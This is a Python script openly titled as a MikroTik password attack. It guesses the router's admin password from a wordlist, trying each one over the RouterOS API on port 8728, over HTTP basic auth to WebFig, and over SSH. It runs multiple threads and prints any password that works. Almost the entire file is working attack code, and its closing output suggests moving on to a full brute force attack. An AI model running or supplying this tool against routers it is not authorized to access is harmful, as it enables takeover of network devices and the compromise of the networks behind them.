#!/usr/bin/env python3
"""
Optimized MikroTik Password Attack using Wordlist
Tests passwords from generated wordlist using most efficient methods
"""

import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import socket
import requests
from requests.auth import HTTPBasicAuth

class MikroTikWordlistAttack:
    def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"):
        self.host = host
        self.wordlist_file = wordlist_file
        self.username = "admin"
        self.found_password = None
        self.attempts = 0
        self.start_time = None
        self.lock = threading.Lock()
        self.stop_flag = threading.Event()
        
    def load_wordlist(self):
        """Load passwords from wordlist file"""
        try:
            with open(self.wordlist_file, 'r') as f:
                passwords = [line.strip() for line in f if line.strip()]
            return passwords
        except FileNotFoundError:
            print(f"Error: Wordlist file '{self.wordlist_file}' not found")
            print("Run 'python3 generate_mikrotik_wordlist.py' first")
            return []
    
    def test_api_connection(self, password, port=8728, timeout=3):
        """Test MikroTik API connection (most reliable method)"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            sock.connect((self.host, port))
            
            # Send login command in MikroTik API format
            def encode_length(length):
                if length <= 0x7F:
                    return bytes([length])
                elif length <= 0x3FFF:
                    return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
                return bytes([0xFF])  # Simplified for short strings
            
            def write_word(sock, word):
                word_bytes = word.encode('utf-8')
                sock.send(encode_length(len(word_bytes)))
                sock.send(word_bytes)
            
            def write_sentence(sock, words):
                for word in words:
                    write_word(sock, word)
                write_word(sock, "")
            
            def read_word(sock):
                length_byte = sock.recv(1)
                if not length_byte:
                    return ""
                length = length_byte[0]
                if length == 0:
                    return ""
                if length & 0x80:
                    # Multi-byte length, simplified handling
                    length = length & 0x7F
                    if length > 50:  # Sanity check
                        return ""
                try:
                    return sock.recv(length).decode('utf-8', 'ignore')
                except:
                    return ""
            
            def read_sentence(sock):
                sentence = []
                try:
                    while True:
                        word = read_word(sock)
                        if word == "":
                            break
                        sentence.append(word)
                except:
                    pass
                return sentence
            
            # Send login
            write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"])
            
            # Read response
            sock.settimeout(2)  # Shorter timeout for response
            response = read_sentence(sock)
            sock.close()
            
            return response and len(response) > 0 and response[0] == "!done"
            
        except Exception:
            return False
    
    def test_http_connection(self, password, timeout=3):
        """Test HTTP connection"""
        try:
            # Test if we can access a protected resource
            response = requests.get(
                f"http://{self.host}/webfig/",
                auth=HTTPBasicAuth(self.username, password),
                timeout=timeout,
                allow_redirects=False
            )
            # Success if we don't get 401/403
            return response.status_code not in [401, 403]
        except:
            return False
    
    def test_ssh_connection(self, password, timeout=3):
        """Test SSH connection"""
        try:
            import paramiko
            
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(
                self.host,
                port=22,
                username=self.username,
                password=password,
                timeout=timeout,
                allow_agent=False,
                look_for_keys=False,
            )
            client.close()
            return True
        except paramiko.AuthenticationException:
            return False
        except Exception:
            return False
    
    def test_password(self, password):
        """Test a password using multiple methods"""
        if self.stop_flag.is_set():
            return False
        
        with self.lock:
            self.attempts += 1
            current_attempts = self.attempts
        
        # Progress reporting
        if current_attempts % 10 == 0:
            elapsed = time.time() - self.start_time
            rate = current_attempts / elapsed if elapsed > 0 else 0
            print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
        
        # Test methods in order of reliability and speed
        methods = [
            ("API", lambda: self.test_api_connection(password)),
            ("HTTP", lambda: self.test_http_connection(password)),
            ("SSH", lambda: self.test_ssh_connection(password)),
        ]
        
        for method_name, test_func in methods:
            try:
                if test_func():
                    print(f"\n*** SUCCESS! ***")
                    print(f"Password found: {password}")
                    print(f"Method: {method_name}")
                    print(f"Host: {self.host}")
                    print(f"Username: {self.username}")
                    print(f"Total attempts: {current_attempts}")
                    elapsed = time.time() - self.start_time
                    print(f"Time taken: {elapsed:.2f} seconds")
                    self.found_password = password
                    self.stop_flag.set()
                    return True
            except Exception as e:
                # If one method fails, try the next
                continue
        
        return False
    
    def run_attack(self, max_workers=4):
        """Run the wordlist attack"""
        passwords = self.load_wordlist()
        if not passwords:
            return None
        
        print(f"Starting wordlist attack against {self.host}")
        print(f"Username: {self.username}")
        print(f"Passwords to test: {len(passwords)}")
        print(f"Concurrent threads: {max_workers}")
        print("=" * 60)
        
        self.start_time = time.time()
        
        # Use ThreadPoolExecutor for controlled concurrency
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            # Submit all password tests
            future_to_password = {
                executor.submit(self.test_password, pwd): pwd 
                for pwd in passwords
            }
            
            # Process results as they complete
            for future in as_completed(future_to_password):
                if self.stop_flag.is_set():
                    # Cancel remaining tasks
                    for f in future_to_password:
                        f.cancel()
                    break
                
                password = future_to_password[future]
                try:
                    result = future.result()
                    if result:
                        return self.found_password
                except Exception as e:
                    print(f"Error testing {password}: {e}")
        
        if not self.found_password:
            elapsed = time.time() - self.start_time
            print(f"\nWordlist attack completed.")
            print(f"Total attempts: {self.attempts}")
            print(f"Time taken: {elapsed:.2f} seconds")
            print(f"No password found in wordlist.")
            print("\nNext steps:")
            print("1. Try generating larger wordlist with more patterns")
            print("2. Consider full brute force attack")
            print("3. Hardware reset if device is accessible")
        
        return self.found_password

def main():
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python3 mikrotik_wordlist_attack.py <HOST> [threads]")
        print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8")
        sys.exit(1)
    
    host = sys.argv[1]
    threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
    
    attacker = MikroTikWordlistAttack(host)
    password = attacker.run_attack(max_workers=threads)
    
    if password:
        print(f"\n✓ Attack successful! Password: {password}")
        sys.exit(0)
    else:
        print(f"\n✗ Attack failed. No password found.")
        sys.exit(1)

if __name__ == "__main__":
    main()